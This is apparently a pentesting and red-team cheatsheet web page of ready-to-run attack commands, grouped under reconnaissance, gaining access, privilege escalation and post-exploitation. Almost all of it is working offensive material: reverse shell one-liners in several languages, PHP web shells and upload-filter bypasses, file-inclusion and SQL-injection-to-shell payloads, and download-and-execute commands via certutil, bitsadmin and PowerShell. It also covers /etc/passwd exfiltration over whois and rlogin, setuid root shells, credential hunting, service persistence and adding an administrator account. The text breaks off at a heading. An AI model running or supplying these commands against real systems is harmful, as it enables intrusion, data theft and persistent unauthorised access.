Pentesting Cheatsheets
Convenient commands for your pentesting / red-teaming engagements, OSCP and CTFs.

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

1
nmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips
Copied!

Simple Port Knocking

1
for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done
Copied!

DNS lookups, Zone Transfers & Brute-Force

1
whois domain.com
2
dig {a|txt|ns|mx} domain.com
3
dig {a|txt|ns|mx} domain.com @ns1.domain.com
4
host -t {a|txt|ns|mx} megacorpone.com
5
host -a megacorpone.com
6
host -l megacorpone.com ns1.megacorpone.com
7
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
8
dnsenum domain.com
9
nslookup -> set type=any -> ls -d domain.com
10
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done
Copied!
1
nc -v $TARGET 80
2
telnet $TARGET 80
3
curl -vX $TARGET
Copied!

NFS Exported Shares

List NFS exported shares:
1
showmount -e 192.168.110.102
Copied!
...and check if 'rw,no_root_squash' is present. If it is present, compile the below sid-shell.c:
sid-shell.c
1
#include <unistd.h>
2
3
main( int argc, char ** argv, char ** envp )
4
{
5
setgid(0); setuid(0); system("/bin/bash", argv, envp);
6
return 0;
7
}
Copied!
...upload it to the share and execute the below to launch sid-shell to spawn a root shell:
1
chown root:root sid-shell; chmod +s sid-shell; ./sid-shell
Copied!

Kerberos Enumeration

1
# users
2
nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'
Copied!

HTTP Brute-Force & Vulnerability Scanning

1
target=10.0.0.1; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
2
target=10.0.0.1; nikto -h http://$target:80 | tee $target-nikto
3
target=10.0.0.1; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum
Copied!

RPC / NetBios / SMB

1
rpcinfo -p $TARGET
2
nbtscan $TARGET
3
4
#list shares
5
smbclient -L //$TARGET -U ""
6
7
# null session
8
rpcclient -U "" $TARGET
9
smbclient -L //$TARGET
10
enum4linux $TARGET
Copied!

SNMP

1
# Windows User Accounts
2
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.25
3
4
# Windows Running Programs
5
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.4.2.1.2
6
7
# Windows Hostname
8
snmpwalk -c public -v1 $TARGET .1.3.6.1.2.1.1.5
9
10
# Windows Share Information
11
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.3.1.1
12
13
# Windows Share Information
14
snmpwalk -c public -v1 $TARGET 1.3.6.1.4.1.77.1.2.27
15
16
# Windows TCP Ports
17
snmpwalk -c public -v1 $TARGET4 1.3.6.1.2.1.6.13.1.3
18
19
# Software Name
20
snmpwalk -c public -v1 $TARGET 1.3.6.1.2.1.25.6.3.1.2
21
22
# brute-force community strings
23
onesixtyone -i snmp-ips.txt -c community.txt
24
25
snmp-check $TARGET
Copied!

SMTP

1
smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150
Copied!

Active Directory

1
# current domain info
2
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
3
4
# domain trusts
5
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
6
7
# current forest info
8
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
9
10
# get forest trust relationships
11
([System.DirectoryServices.ActiveDirectory.Forest]::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()
12
13
# get DCs of a domain
14
nltest /dclist:offense.local
15
net group "domain controllers" /domain
16
17
# get DC for currently authenticated session
18
nltest /dsgetdc:offense.local
19
20
# get domain trusts from cmd shell
21
nltest /domain_trusts
22
23
# get user info
24
nltest /user:"spotless"
25
26
# get DC for currently authenticated session
27
set l
28
29
# get domain name and DC the user authenticated to
30
klist
31
32
# get all logon sessions. Includes NTLM authenticated sessions
33
klist sessions
34
35
# kerberos tickets for the session
36
klist
37
38
# cached krbtgt
39
klist tgt
40
41
# whoami on older Windows systems
42
set u
43
44
# find DFS shares with ADModule
45
Get-ADObject -filter * -SearchBase "CN=Dfs-Configuration,CN=System,DC=offense,DC=local" | select name
46
47
# find DFS shares with ADSI
48
$s=[adsisearcher]'(name=*)'; $s.SearchRoot = [adsi]"LDAP://CN=Dfs-Configuration,CN=System,DC=offense,DC=local"; $s.FindAll() | % {$_.properties.name}
49
50
# check if spooler service is running on a host
51
powershell ls "\\dc01\pipe\spoolss"
Copied!

Listen on a port (Powershell)

1
# Start listener on port 443
2
$listener = [System.Net.Sockets.TcpListener]443; $listener.Start();
3
4
while($true)
5
{
6
$client = $listener.AcceptTcpClient();
7
Write-Host $client.client.RemoteEndPoint "connected!";
8
$client.Close();
9
start-sleep -seconds 1;
10
}
Copied!

Gaining Access

Reverse Shell One-Liners

Bash

1
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
Copied!

Perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Copied!

URL-Encoded Perl: Linux

1
echo%20%27use%20Socket%3B%24i%3D%2210.11.0.245%22%3B%24p%3D443%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%27%20%3E%20%2ftmp%2fpew%20%26%26%20%2fusr%2fbin%2fperl%20%2ftmp%2fpew
Copied!

Python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Copied!

PHP

1
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Copied!

Ruby

1
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Copied!

Netcat without -e #1

1
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 1234 > /tmp/f
Copied!

Netcat without -e #2

1
nc localhost 443 | /bin/sh | nc localhost 444
2
telnet localhost 443 | /bin/sh | telnet localhost 444
Copied!

Java

1
r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();
Copied!

XTerm

1
xterm -display 10.0.0.1:1
Copied!

JDWP RCE

1
print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())
Copied!

Working with Restricted Shells

1
# rare cases
2
ssh [email protected] ls -l /tmp
Copied!
1
nice /bin/bash
Copied!

Interactive TTY Shells

1
/usr/bin/expect sh
Copied!
1
python -c ‘import pty; pty.spawn(/bin/sh”)
2
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
3
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'
Copied!

Uploading/POSTing Files Through WWW Upload Forms

1
# POST file
2
curl -X POST -F "[email protected]/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"
3
4
# POST binary data to web form
5
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v
Copied!

PUTing File on the Webhost via PUT verb

1
curl -X PUT -d '<?php system($_GET["c"]);?>' http://192.168.2.99/shell.php
Copied!

Generating Payload Pattern & Calculating Offset

1
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
2
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE
Copied!

Bypassing File Upload Restrictions

    file.php -> file.jpg
    file.php -> file.php.jpg
    file.asp -> file.asp;.jpg
    file.gif (contains php code, but starts with string GIF/GIF98)
    00%
    file.jpg with php backdoor in exif (see below)
    .jpg -> proxy intercept -> rename to .php

Injecting PHP into JPEG

1
exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
2
exiftool “-comment<=back.php” back.png
Copied!

Uploading .htaccess to interpret .blah as .php

1
AddType application/x-httpd-php .blah
Copied!

Cracking Passwords

Cracking Web Forms with Hydra

1
hydra 10.10.10.52 http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list
Copied!

Cracking Common Protocols with Hydra

1
hydra 10.10.10.52 -l username -P /usr/share/wordlists/list ftp|ssh|smb://10.0.0.1
Copied!

HashCat Cracking

1
# Bruteforce based on the pattern;
2
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout
3
4
# Generate password candidates: wordlist + pattern;
5
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout
6
7
# Generate NetNLTMv2 with internalMonologue and crack with hashcat
8
InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800
9
# resulting hash
10
spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000
11
12
# crack with hashcat
13
hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable
Copied!

Generating Payload with msfvenom

1
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.245 LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai
Copied!

Compiling Code From Linux

1
# Windows
2
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe
3
4
# Linux
5
gcc -m32|-m64 -o output source.c
Copied!

Compiling Assembly from Windows

1
# https://www.nasm.us/pub/nasm/releasebuilds/?C=M;O=D
2
nasm -f win64 .\hello.asm -o .\hello.obj
3
4
# http://www.godevtool.com/Golink.zip
5
GoLink.exe -o .\hello.exe .\hello.obj
Copied!

Local File Inclusion to Shell

1
nc 192.168.1.102 80
2
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
3
Host: 192.168.1.102
4
Connection: close
5
6
# Then send as cmd payload via http://192.168.1.102/index.php?page=../../../../../var/log/apache2/access.log&cmd=id
Copied!

Local File Inclusion: Reading Files

1
file:///etc/passwd
2
3
http://example.com/index.php?page=php://input&cmd=ls
4
POST: <?php system($_GET['cmd']); ?>
5
http://192.168.2.237/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
6
POST: <?php system('uname -a');die(); ?>
7
8
expect://whoami
9
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
10
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
11
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
12
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=&cmd=id
13
http://10.1.1.1/index.php?page=data://text/plain,%3C?php%20system%28%22uname%20-a%22%29;%20?%3E
14
15
# ZIP Wrapper
16
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
17
zip payload.zip payload.php;
18
mv payload.zip shell.jpg;
19
http://example.com/index.php?page=zip://shell.jpg%23payload.php
20
21
# Loop through file descriptors
22
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -
Copied!

Remote File Inclusion Shell: Windows + PHP

1
<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('http://10.11.0.245/netcat/nc.exe','nc.exe'); cmd /c nc.exe 10.11.0.245 4444 -e cmd.exe\" }"); ?>
Copied!

SQL Injection to Shell or Backdoor

1
# Assumed 3 columns
2
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
Copied!
1
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
2
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
Copied!
1
# netcat reverse shell via mssql injection when xp_cmdshell is available
2
1000';+exec+master.dbo.xp_cmdshell+'(echo+open+10.11.0.245%26echo+anonymous%26echo+whatever%26echo+binary%26echo+get+nc.exe%26echo+bye)+>+c:\ftp.txt+%26+ftp+-s:c:\ftp.txt+%26+nc.exe+10.11.0.245+443+-e+cmd';--
Copied!

SQLite Injection to Shell or Backdoor

1
ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn;
2
CREATE TABLE pwn.shell (code TEXT);
3
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');
Copied!

MS-SQL Console

1
mssqlclient.py -port 27900 user:[email protected]
2
sqsh -S 10.1.1.1 -U user -P password
Copied!

Upgradig Non-Interactive Shell

1
python -c 'import pty; pty.spawn("/bin/sh")'
2
/bin/busybox sh
Copied!

Python Input Code Injection

1
__import__('os').system('id')
Copied!

Local Enumeration & Privilege Escalation

https://github.com/sagishahar/lpeworkshop

Check AppLocker Policies

1
Get-AppLockerPolicy -Local).RuleCollections
2
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
3
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
Copied!

Applocker: Writable Windows Directories

1
# list from https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md
2
C:\Windows\Tasks
3
C:\Windows\Temp
4
C:\windows\tracing
5
C:\Windows\Registration\CRMLog
6
C:\Windows\System32\FxsTmp
7
C:\Windows\System32\com\dmp
8
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
9
C:\Windows\System32\spool\PRINTERS
10
C:\Windows\System32\spool\SERVERS
11
C:\Windows\System32\spool\drivers\color
12
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
13
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
14
C:\Windows\SysWOW64\FxsTmp
15
C:\Windows\SysWOW64\com\dmp
16
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
17
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
Copied!

Find Writable Files/Folders in Windows

1
$a = Get-ChildItem "c:\windows\" -recurse -ErrorAction SilentlyContinue
2
$a | % {
3
$fileName = $_.fullname
4
$acls = get-acl $fileName -ErrorAction SilentlyContinue | select -exp access | ? {$_.filesystemrights -match "full|modify|write" -and $_.identityreference -match "authenticated users|everyone|$env:username"}
5
if($acls -ne $null)
6
{
7
[pscustomobject]@{
8
filename = $fileName
9
user = $acls | select -exp identityreference
10
}
11
}
12
}
Copied!

Check if Powershell Logging is Enabled

1
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
2
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
Copied!

Check WinEvent Logs for SecureString Exposure

1
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | Select-Object -Property Message | Select-String -Pattern 'SecureString'
Copied!

Check WinEvent for Machine Wake/Sleep times

1
Get-WinEvent -FilterHashTable @{ ProviderName = 'Microsoft-Windows-Power-TroubleShooter' ; Id = 1 }|Select-Object -Property @{n='Sleep';e={$_.Properties[0].Value}},@{n='Wake';e={$_.Properties[1].Value}}
Copied!

Audit Policies

1
auditpol /get /category:*
Copied!

Check if LSASS is running in PPL

1
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL
Copied!

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

1
# We're interested in modules without protection, Read & Execute permissions
2
!mona modules
Copied!

Finding JMP ESP Address

1
!mona find -s "\xFF\xE4" -m moduleName
Copied!

Cracking a ZIP Password

1
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip
Copied!

Setting up Simple HTTP server

1
# Linux
2
python -m SimpleHTTPServer 80
3
python3 -m http.server
4
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
5
php -S 0.0.0.0:80
Copied!

MySQL User Defined Fuction Privilge Escalation

Requires raptor_udf2.c and sid-shell.c or full raptor.tar:
sid-shell.c
151B
Binary
raptor_udf2.c
3KB
Binary
raptor.tar
30KB
Binary
1
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
Copied!
1
use mysql;
2
create table npn(line blob);
3
insert into npn values(load_file('/tmp/raptor_udf2.so'));
4
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
5
create function do_system returns integer soname 'raptor_udf2.so';
6
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');
Copied!

Docker Privilege Esclation

1
echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh
Copied!

Resetting root Password

1
echo "root:spotless" | chpasswd
Copied!

Uploading Files to Target Machine

TFTP

1
#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
2
service atftpd start
3
4
# Windows
5
tftp -i $ATTACKER get /download/location/file /save/location/file
Copied!

FTP

1
# Linux: set up ftp server with anonymous logon access;
2
twistd -n ftp -p 21 -r /file/to/serve
3
4
# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
5
echo open $ATTACKER>ftp-commands.txt
6
echo anonymous>>ftp-commands.txt
7
echo whatever>>ftp-commands.txt
8
echo binary>>ftp-commands.txt
9
echo get file.exe>>ftp-commands.txt
10
echo bye>>ftp-commands.txt
11
ftp -s:ftp-commands.txt
12
13
# Or just a one-liner
14
(echo open 10.11.0.245&echo anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 10.11.0.245 443 -e cmd
Copied!

CertUtil

1
certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe
Copied!

PHP

1
<?php file_put_contents("/var/tmp/shell.php", file_get_contents("http://10.11.0.245/shell.php")); ?>
Copied!

Python

1
python -c "from urllib import urlretrieve; urlretrieve('http://10.11.0.245/nc.exe', 'C:\\Temp\\nc.exe')"
Copied!

HTTP: Powershell

1
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
2
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
3
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
4
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');
5
6
# download using default proxy credentials and launch
7
powershell -command { $b=New-Object System.Net.WebClient; $b.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; $b.DownloadString("http://$attacker/nc.exe") | Out-File nc.exe; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
Copied!

HTTP: VBScript

Copy and paste contents of wget.vbs into a Windows Shell and then:
1
cscript wget.vbs http://$ATTACKER/file.exe localfile.exe
Copied!

HTTP: Linux

1
wget http://$ATTACKER/file
2
curl http://$ATTACKER/file -O
3
scp ~/file/file.bin [email protected]$TARGET:tmp/backdoor.py
Copied!

NetCat

1
# Attacker
2
nc -l -p 4444 < /tool/file.exe
3
4
# Victim
5
nc $ATTACKER 4444 > file.exe
Copied!

HTTP: Windows "debug.exe" Method

1
# 1. In Linux, convert binary to hex ascii:
2
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
3
# 2. Paste nc.txt into Windows Shell.
Copied!

HTTP: Windows BitsAdmin

1
cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe
Copied!

Wscript Script Code Download & Execution

cmd
code.js
1
echo GetObject("script:https://bad.com/code.js") > code.js && wscript.exe code.js
Copied!
1
<?xml version="1.0"?>
2
<package>
3
<component id="PopCalc">
4
<script language="JScript">
5
<![CDATA[
6
var r = new ActiveXObject("WScript.Shell").Run("calc");
7
]]>
8
</script>
9
</component>
10
</package>
Copied!

Whois Data Exfiltration

1
# attacker
2
nc -l -v -p 43 | sed "s/ //g" | base64 -d
3
# victim
4
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`
Copied!

Cancel Data Exfiltration

1
cancel -u "$(cat /etc/passwd)" -h ip:port
Copied!

rlogin Data Exfiltration

1
rlogin -l "$(cat /etc/passwd)" -p port host
Copied!

Bash Ping Sweeper

1
#!/bin/bash
2
for lastOctet in {1..254}; do
3
ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
4
done
Copied!

Brute-forcing XOR'ed string with 1 byte key in Python

1
encrypted = "encrypted-string-here"
2
for i in range(0,255):
3
print("".join([chr(ord(e) ^ i) for e in encrypted]))
Copied!

Generating Bad Character Strings

1
# Python
2
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
Copied!
1
# Bash
2
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"
Copied!

Converting Python to Windows Executable (.py -> .exe)

1
python pyinstaller.py --onefile convert-to-exe.py
Copied!

Port Scanning with NetCat

1
nc -nvv -w 1 -z host 1000-2000
2
nc -nv -u -z -w 1 host 160-162
Copied!

Port Scanning with Masscan

1
masscan -p1-65535,U:1-65535 10.10.10.x --rate=1000 -e tun0
Copied!

Exploiting Vulnerable Windows Services: Weak Service Permissions

1
# Look for SERVICE_ALL_ACCESS in the output
2
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
3
4
sc config [service_name] binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
5
sc qc [service_name] (to verify!)
6
sc start [service_name]
Copied!

Find File/Folder Permissions Explicitly Set for a Given User

1
icacls.exe C:\folder /findsid userName-or-*sid /t
2
//look for (F)ull, (M)odify, (W)rite
Copied!

AlwaysInstallElevated MSI

1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated & reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Copied!

Stored Credentials: Windows

1
c:\unattend.xml
2
c:\sysprep.inf
3
c:\sysprep\sysprep.xml
4
dir c:\*vnc.ini /s /b
5
dir c:\*ultravnc.ini /s /b
6
dir c:\ /s /b | findstr /si *vnc.ini
7
8
findstr /si password *.txt | *.xml | *.ini
9
findstr /si pass *.txt | *.xml | *.ini
10
dir /s *cred* == *pass* == *.conf
11
12
# Windows Autologon
13
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
14
15
# VNC
16
reg query "HKCU\Software\ORL\WinVNC3\Password"
17
18
# Putty
19
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
20
21
# Registry
22
reg query HKLM /f password /t REG_SZ /s
23
reg query HKCU /f password /t REG_SZ /s
Copied!

Unquoted Service Path

1
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
2
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\Windows\\" |findstr /i /v """
Copied!

Persistence via Services

1
# cmd
2
sc create spotlessSrv binpath= "C:\nc.exe 10.11.0.245 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
3
4
# powersehll
5
New-Service -Name EvilName -DisplayName EvilSvc -BinaryPathName "'C:\Program Files\NotEvil\back.exe'" -Description "Not at all"
Copied!

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

1
# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
2
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
3
ssh -L 127.0.0.1:8080:REMOTE_HOST:PORT [email protected]_SERVER
Copied!

SSH: Dynamic Port Forwarding

1
# Listen on local port 8080. Incoming traffic to 127.0.0.1:8080 forwards it to final destination via SSH_SERVER
2
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
3
ssh -D 127.0.0.1:8080 [email protected]_SERVER
Copied!

SSH: Remote Port Forwarding

1
# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
2
# Scenario: expose RDP on non-routable network;
3
ssh -R 5555:LOCAL_HOST:3389 [email protected]_SERVER
4
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP
Copied!

Proxy Tunnel

1
# Open a local port 127.0.0.1:5555. Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
2
# Scenario: a remote host has SSH running, but it's only bound to 127.0.0.1, but you want to reach it;
3
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
4
ssh [email protected] -p 5555
Copied!

HTTP Tunnel: SSH Over HTTP

1
# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
2
hts -F localhost:22 80
3
4
# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to 192.168.1.15:80
5
htc -F 8080 192.168.1.15:80
6
7
# Client - connect to localhost:8080 -> get tunneled to 192.168.1.15:80 -> get redirected to 192.168.1.15:22
8
ssh localhost -p 8080
Copied!

Netsh - Windows Port Forwarding

1
# requires admin
2
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
Copied!

RunAs / Start Process As

PowerShell

1
# Requires PSRemoting
2
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }
3
4
# without PSRemoting
5
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))
6
7
# without PS Remoting, with arguments
8
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"
Copied!

CMD

1
# Requires interactive console
2
runas /user:userName cmd.exe
Copied!

PsExec

1
psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 10.11.0.245 80 -e cmd.exe
Copied!

Pth-WinExe

1
pth-winexe -U user%pass --runas=user%pass //10.1.1.1 cmd.exe
Copied!

Recursively Find Hidden Files: Windows

1
dir /A:H /s "c:\program files"
Copied!
1
# Query the local db for a quick file find. Run updatedb before executing locate.
2
locate passwd
3
4
# Show which file would be executed in the current environment, depending on $PATH environment variable;
5
which nc wget curl php perl python netcat tftp telnet ftp
6
7
# Search for *.conf (case-insensitive) files recursively starting with /etc;
8
find /etc -iname *.conf
Copied!

Post-Exploitation & Maintaining Access

Browsing Registry Hives

1
hivesh /registry/file
Copied!

Decrypting RDG Passwords

Remote Desktop Connection Manager passwords can be decrypted on the same computer/account they were encrypted:
1
Copy-Item 'C:\Program Files (x86)\Microsoft\Remote Desktop Connection Manager\RDCMan.exe C:\temp\RDCMan.dll’
2
Import-Module C:\temp\RDCMan.dll
3
$EncryptionSettings = New-Object -TypeName RdcMan.EncryptionSettings
4
[RdcMan.Encryption]::DecryptString($PwdString, $EncryptionSettings)
Copied!

Decrypting VNC Password

1
wine vncpwdump.exe -k key
Copied!

Creating User and Adding to Local Administrators

1
net user spotless spotless /add & net localgroup Administrators spotless /add
Copied!

Hide Newly Created Local administrator

1
